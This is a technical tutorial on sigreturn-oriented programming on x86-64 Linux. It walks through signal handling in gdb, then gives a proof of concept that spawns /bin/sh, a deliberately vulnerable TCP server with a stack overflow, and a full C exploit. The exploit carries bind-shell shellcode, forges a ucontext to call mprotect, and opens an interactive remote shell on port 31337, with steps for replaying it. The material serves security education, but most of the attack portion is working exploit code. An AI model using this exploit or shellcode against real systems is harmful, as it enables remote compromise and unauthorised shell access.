Now, let’s debug the following program (sig.c) to see what really happens when handling a signal on Linux. This program simply registers a signal handler to manage SIGINT signals.

#include <stdio.h>
#include <signal.h>

void handle_signal(int signum)
{
    printf("handling signal: %d\n", signum);
}

int main()
{
    signal(SIGINT, (void *)handle_signal);
    printf("catch me if you can\n");
    while(1) {}
    return 0;
}

/* struct definition for debugging purpose */
struct sigcontext sigcontext;

First of all, we need to tell gdb to not intercept this signal:

gdb$ handle SIGINT nostop pass
Signal        Stop      Print   Pass to program Description
SIGINT        No        Yes     Yes             Interrupt

Then, we set a breakpoint at the signal handling function, start the program and hit CTRLˆC to reach the signal handler code.

gdb$ b handle_signal
Breakpoint 1 at 0x4005a7: file sig.c, line 6.
gdb$ r
Starting program: /home/mtalbi/sig 
hit CTRL^C to catch me
^C
Program received signal SIGINT, Interrupt.

Breakpoint 1, handle_signal (signum=0x2) at sig.c:6
6               printf("handling signal: %d", signum);
gdb$ bt
#0  handle_signal (signum=0x2) at sig.c:6
#1  <signal handler called>
#2  main () at sig.c:13

We note here that the frame #1 is created in order to resume the process execution at the point where it was interrupted before. This is confirmed by checking the instructions pointed by rip which corresponds to sigreturn syscall:

gdb$ frame 1
#1  <signal handler called>
gdb$ x/2i $rip
=> 0x7ffff7a844f0:      mov    $0xf,%rax
   0x7ffff7a844f7:      syscall 

Figure 1 shows the stack at signal handling function entry point.

srop-stack
Figure 1: Stack at signal handling function entry point

We can check the values of some saved registers and flags. Note that sigcontext structure is the same as uc_mcontext structure. It is located at rbp + 7 * 8 according to figure 1. It holds saved registers and flags value:

gdb$ frame 0
...
gdb$ p ((struct sigcontext *)($rbp + 7 * 8))->rip 
$5 = 0x4005da
gdb$ p ((struct sigcontext *)($rbp + 7 * 8))->rsp
$6 = 0x7fffffffe110
gdb$ p ((struct sigcontext *)($rbp + 7 * 8))->rax
$7 = 0x17
gdb$ p ((struct sigcontext *)($rbp + 7 * 8))->cs
$8 = 0x33
gdb$ p ((struct sigcontext *)($rbp + 7 * 8))->eflags
$9 = 0x202

Now, we can verify that after handling the signal, registers will recover their values:

gdb$ b 13
Breakpoint 2 at 0x4005da: file sig.c, line 13.
gdb$ c
Continuing.
handling signal: 2

Breakpoint 2, main () at sig.c:13
13              while(1) {}
gdb$ i r
...
rax            0x17     0x17
rsp            0x7fffffffe110   0x7fffffffe110
eflags         0x202    [ IF ]
cs             0x33     0x33
...

Exploitation

If we manage to overflow a saved instruction pointer with sigreturn address and forge a uc mcontext structure by adjusting registers and flags values, then we can execute any syscall. It may be a litte confusing here. In effect, trying to execute a syscall by returning on another syscall (sigreturn) may be strange at first sight. Well, the main difference here is that the latter does not require any parameters at all. All we need is a gadget that sets rax to 0xf to run any system call through sigreturn syscall. Gadgets are small pieces of instructions ending with a ret instruction. These gadgets are chained together to perform a specific action. This technique is well-known as ROP: Return-Oriented Programming [Sha07].

Surprisingly, it is quite easy to find a syscall ; ret gadget on some Linux distribution where the vsyscall map is still in use. The vsyscall page is mapped at fixed location into all user-space processes. For interested readers, here is good link about vsyscall.

mtalbi@mtalbi:/home/mtalbi/srop$ cat /proc/self/maps
...
7ffffe5ff000-7ffffe600000 r-xp 00000000 00:00 0         [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
...
gdb$ x/3i 0xffffffffff600000
   0xffffffffff600000:  mov    rax,0x60
   0xffffffffff600007:  syscall 
   0xffffffffff600009:  ret 

Bosman and Bos list in [BB14] locations of sigreturn and syscall gadgets for different operating systems including FreeBSD and Mac OS X.

Assumed that we found the required gadgets, we need to arrange our payload as shown in figure 3 in order to successfully exploit a classic stack-based overflow. Note that zeroes should be allowed in the payload (e.g. a non strcpy vulnerability); otherwise, we need to find a way to zero some parts of uc_mcontext structure.

The following code (srop.c) is a proof of concept of sigreturn oriented programming that starts a /bin/sh shell:

#include <stdio.h>
#include <string.h>
#include <signal.h>

#define SYSCALL 0xffffffffff600007

struct ucontext ctx;
char *shell[] = {"/bin/sh", NULL};

void gadget();

int main()
{
    unsigned long *ret;

    /* initializing the context structure */
    bzero(&ctx, sizeof(struct ucontext));

    /* setting rip value (points to syscall address) */
    ctx.uc_mcontext.gregs[16] = SYSCALL;

    /* setting 0x3b in rax (execve syscall) */
    ctx.uc_mcontext.gregs[13] = 0x3b;

    /* setting first arg of execve in rdi */
    ctx.uc_mcontext.gregs[8] = shell[0];

    /* setting second arg of execv in rsi */
    ctx.uc_mcontext.gregs[9] = shell;

    /* cs = 0x33 */
    ctx.uc_mcontext.gregs[18] = 0x33;

    /* overflowing */
    ret = (unsigned long *)&ret + 2;
    *ret = (int)gadget + 4; //skip gadget's function prologue
    *(ret + 1) = SYSCALL;
    memcpy(ret + 2, &ctx, sizeof(struct ucontext));
    return 0;
}

void gadget()
{
    asm("mov $0xf,%rax\n");
    asm("retq\n");
}

The programm fills a uc_mcontext structure with execve syscall parameters. Additionally, the cs register is set to 0x33:

  • Instruction pointer rip points to syscall; ret gadget.
  • rax register holds execve syscall number.
  • rdi register holds the first paramater of execve (“/bin/sh” address).
  • rsi register holds the second parameter of execve (“/bin/sh” arguments).
  • rdx register holds the last parameter of execve (zeroed at struture initialization).

Then, the program overflows the saved rip pointer with mov %rax, $0xf; ret gadget address (added artificially to the program through gadget function). This gadget is followed by the syscall gadget address. So, when the main function will return, these two gadgets will be executed resulting in sigreturn system call which will set registers values from the previously filled structure. After sigreturn, execve will be called as rip points now to syscall gadget and rax holds the syscall number of execve. In our example, execve will start /bin/sh shell.

Code

In this section we provide a vulnerable server (server.c) and use the SROP technique to exploit it (exploit.c).

Vulnerable server

The following program is a simple server that replies back with a welcoming message after receiving some data from client. The vulnerability is present in the handle_conn function where we can read more data from client (4096 bytes) than the destination array (input) can hold (1024 bytes). The program is therefore vulnerable to a classical stack-based overflow.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define PAGE_SIZE 0x1000
#define PORT 7777

// in .bss
char data[PAGE_SIZE * 2];

void init()
{
	struct sockaddr_in sa;;
	int s, c, size, k = 1;

	sa.sin_family = AF_INET;
	sa.sin_port = htons(PORT);
	sa.sin_addr.s_addr = INADDR_ANY;

	size = sizeof(struct sockaddr);

	if((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
		handle_error("socket failed\n");
	}

	if(setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &k, sizeof(int)) == -1) {
		handle_error("setsockopt failed\n");
  }

	if(bind(s, (struct sockaddr *)&sa, size)) {
		handle_error("bind failed\n");
	}

	if(listen(s, 3) < 0) {
		handle_error("listen failed\n");
	}

	while(1) {
		if((c = accept(s, (struct sockaddr *)NULL, NULL)) < 0) {
			handle_error("accept failed\n");
		}
		handle_conn(c);
	}
}

int handle_conn(int c)
{
	char input[0x400];
	int amt;
	//too large data !!!
	if((amt = read(c, input, PAGE_SIZE) < 0)) {
		handle_error("receive failed\n");
	}
	memcpy(data, input, PAGE_SIZE);
	welcome(c);
	close(c);
	return 0;

}

int welcome(int c)
{
	int amt;
	const char *msg = "I'm vulnerable program running with root priviledges!!\nPlease do not exploit me";

	write(c, msg, strlen(msg));

	if((amt = write(c, data, strlen(data))) < 0) {
		handle_error("send failed\n");
	}
	return 0;
}

int handle_error(char *msg)
{
	perror(msg);
	exit(-1);
}

void gadget()
{
	asm("mov $0xf,%rax\n");
	asm("retq\n");
}

int main()
{
	init();
	return 0;
}

Exploit

We know that our payload will be copied in a fixed location in .bss. (at 0x6012c0). Our strategy is to copy a shellcode there and then call mprotect syscall in order to change page protection starting at 0x601000 (must be a multiple ot the page size).

srop-bss
Figure 2: Payload copied in .bss

In this exploit, we overflow our vulnerable buffer as shown by figure 3. First, we fill our buffer with a nop sled (not necessary) followed by a classical bindshell. This executable payload is prepended with an address pointing to the shellcode in .bss (see figure 2).

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/mman.h>
#include <errno.h>

#define HOSTNAME         "localhost";
#define PORT             7777
#define POWN             31337
#define SIZE             0x400 + 8*2

#define SYSCALL_GADGET   0xffffffffff600007
#define RAX_15_GADGET    0x400ad3
#define DATA             0x6012c0
#define MPROTECT_BASE    0x601000	//must be a multiple of page_size (in .bss)
#define MPROTECT_SYSCALL 0xa
#define FLAGS            0x33
#define PAGE_SIZE        4096

#define COLOR_SHELL      "\033[31;01mbind-shell\033[00m > "

struct payload_t {
	unsigned long   ret;
	char            nopshell[SIZE];
	unsigned long   gadget;
	unsigned long   sigret;
	struct ucontext context;
};

unsigned char shellcode[] =	"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a"
							"\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0"
							"\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02"
							"\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05"
							"\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31"
							"\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59"
							"\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48"
							"\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a"
							"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54"
							"\x5f\x6a\x3b\x58\x0f\x05";

int setsock(char *hostname, int port);
void session(int s);
void overflows(int s);
int handle_error(char *msg);

int main(int argc, char **argv)
{
	int s;
	printf("[1] connecting to target ... \n");
	s = setsock(HOSTNAME, PORT);
	printf("[+] connected \n");
	printf("[2] overflowing ... \n");
	overflows(s);
	s = setsock(HOSTNAME, POWN);
	session(s);
	return 0;
}

void overflows(int s)
{
	struct payload_t payload;
	char output[0x400];

	memset(payload.nopshell, 0x90, SIZE);
	strncpy(payload.nopshell, shellcode, strlen(shellcode));

	payload.ret = DATA + 0x8; //precise address of nop sled
	payload.gadget = RAX_15_GADGET;
	payload.sigret = SYSCALL_GADGET;

	/* initializing the context structure */
	bzero(&payload.context, sizeof(struct ucontext));

	/* setting first arg of mprotect in rdi */
	payload.context.uc_mcontext.gregs[8] = MPROTECT_BASE;

	/* setting second arg of mprotect in rsi */
	payload.context.uc_mcontext.gregs[9] = PAGE_SIZE;

	/* setting third arg of mprotect in rdx */
	payload.context.uc_mcontext.gregs[12] = PROT_READ | PROT_WRITE | PROT_EXEC;

	/* setting mprotect syscall number in rax */
	payload.context.uc_mcontext.gregs[13] = MPROTECT_SYSCALL;

	/*
	 * jumping into nop sled after mprotect syscall.
	 * setting rsp value
	 */
	payload.context.uc_mcontext.gregs[15] = DATA;

	/* setting rip value (points to syscall address) */
	payload.context.uc_mcontext.gregs[16] = SYSCALL_GADGET;

	/* cs = 0x33 */
	payload.context.uc_mcontext.gregs[18] = FLAGS;

	write(s, &payload, sizeof(payload));

	read(s, output, 0x400);
}

int setsock(char *hostname, int port)
{
	int sock;
	struct hostent *hent;
	struct sockaddr_in sa;
	struct in_addr ia;

	hent = gethostbyname(hostname);
	if(hent) {
		memcpy(&ia.s_addr, hent->h_addr, 4);
	}
	else if((ia.s_addr = inet_addr(hostname)) == INADDR_ANY) {
		handle_error("incorrect address !!!\n");
	}

	if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
		handle_error("socket failed !!!\n");
	}

	sa.sin_family = AF_INET;
	sa.sin_port = htons(port);
	sa.sin_addr.s_addr = ia.s_addr;

	if(connect(sock, (struct sockaddr *)&sa, sizeof(sa)) == -1) {
		handle_error("connection failed !!!!\n");
	}

	return sock;
}

void session(int s)
{
	char buf[1024];
	int amt;

	fd_set fds;

	printf("[!] enjoy your shell \n");
	fputs(COLOR_SHELL, stderr);
	FD_ZERO(&fds);
	while(1) {
		FD_SET(s, &fds);
		FD_SET(0, &fds);
		select(s+1, &fds, NULL, NULL, NULL);

		if(FD_ISSET(0, &fds)) {
			if((amt = read(0, buf, 1024)) == 0) {
				handle_error("connection lost\n");
			}
			buf[amt] = '\0';
			write(s, buf, strlen(buf));
		}

		if(FD_ISSET(s, &fds)) {
			if((amt = read(s, buf, 1024)) == 0) {
				handle_error("connection lost\n");
			}
			buf[amt] = '\0';
			printf("%s", buf);
			fputs(COLOR_SHELL, stderr);
		}
	}
}

int handle_error(char *msg)
{
	perror(msg);
	exit(-1);
}

Our goal is to change protection of memory page containing our shellcode. More precisely, we want to make the following call so that we can execute our shellcode:

mmprotect(0x601000, 4096, PROT_READ | PROT_WRITE | PROT_EXEC);

Here, is what happens when the vulnerable function returns:

  1. The artificial gadget is executed. It sets rax register to 15.
  2. Our artificial gadget is followed by a syscall gadget that will result in a sigreturn call.
  3. The sigreturn uses our fake uc_mcontext structure to restore registers values. Only non shaded parameters in figure 3 are relevant to the exploit. After this call, rip points to syscall gadget, rax is set to mprotect syscall number, and rdi, rsi and rdx hold the parameters of mprotect function. Additionally, rsp points to our payload in .bss.
  4. mprotect syscall is executed.
  5. ret instruction of syscall gadget is executed. This instruction will set instruction pointer to the address popped from rsp. This address points to our shellcode (see figure 2).
  6. The shellcode is executed.
srop-exploit
Figure 3: Stack after overflowing input buffer

Replaying the exploit

The above code has been compiled using gcc (gcc -g -o server.c server) on a Debian Wheezy running on x_86_64 arch. Before reproducing this exploit, you need to adjust first the following addresses:

  • SYSCALL_GADGET
mtalbi@mtalbi:/home/mtalbi/srop$ cat /proc/self/maps
...
7ffffe5ff000-7ffffe600000 r-xp 00000000 00:00 0         [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
...
gdb$ x/3i 0xffffffffff600000
   0xffffffffff600000:  mov    rax,0x60
   0xffffffffff600007:  syscall 
   0xffffffffff600009:  ret
  • RAX_15_GADGET
mtalbi@mtalbi:/home/mtalbi/srop$ gdb server
(gdb) disas gadget
Dump of assembler code for function gadget:
   0x0000000000400acf <+0>:     push   %rbp
   0x0000000000400ad0 <+1>:     mov    %rsp,%rbp
   0x0000000000400ad3 <+4>:     mov    $0xf,%rax
   0x0000000000400ada <+11>:    retq   
   0x0000000000400adb <+12>:    pop    %rbp
   0x0000000000400adc <+13>:    retq   
End of assembler dump.
  • DATA
(gdb) p &data
$1 = (char (*)[8192]) 0x6012c0

References

[BB14] Erik Bosman and Herbert Bos. We got signal. a return to portable exploits. (working title, subject to change.). In Security & Privacy (Oakland), San Jose, CA, USA, May 2014. IEEE.

[Sha07] Hovav Shacham. The geometry of innocent flesh on the bone: Return-into-libc without function calls (on the x86). In Proceedings of the 14th ACM Conference on Computer and Communications Security, CCS ’07, pages 552– 561, New York, NY, USA, 2007. ACM.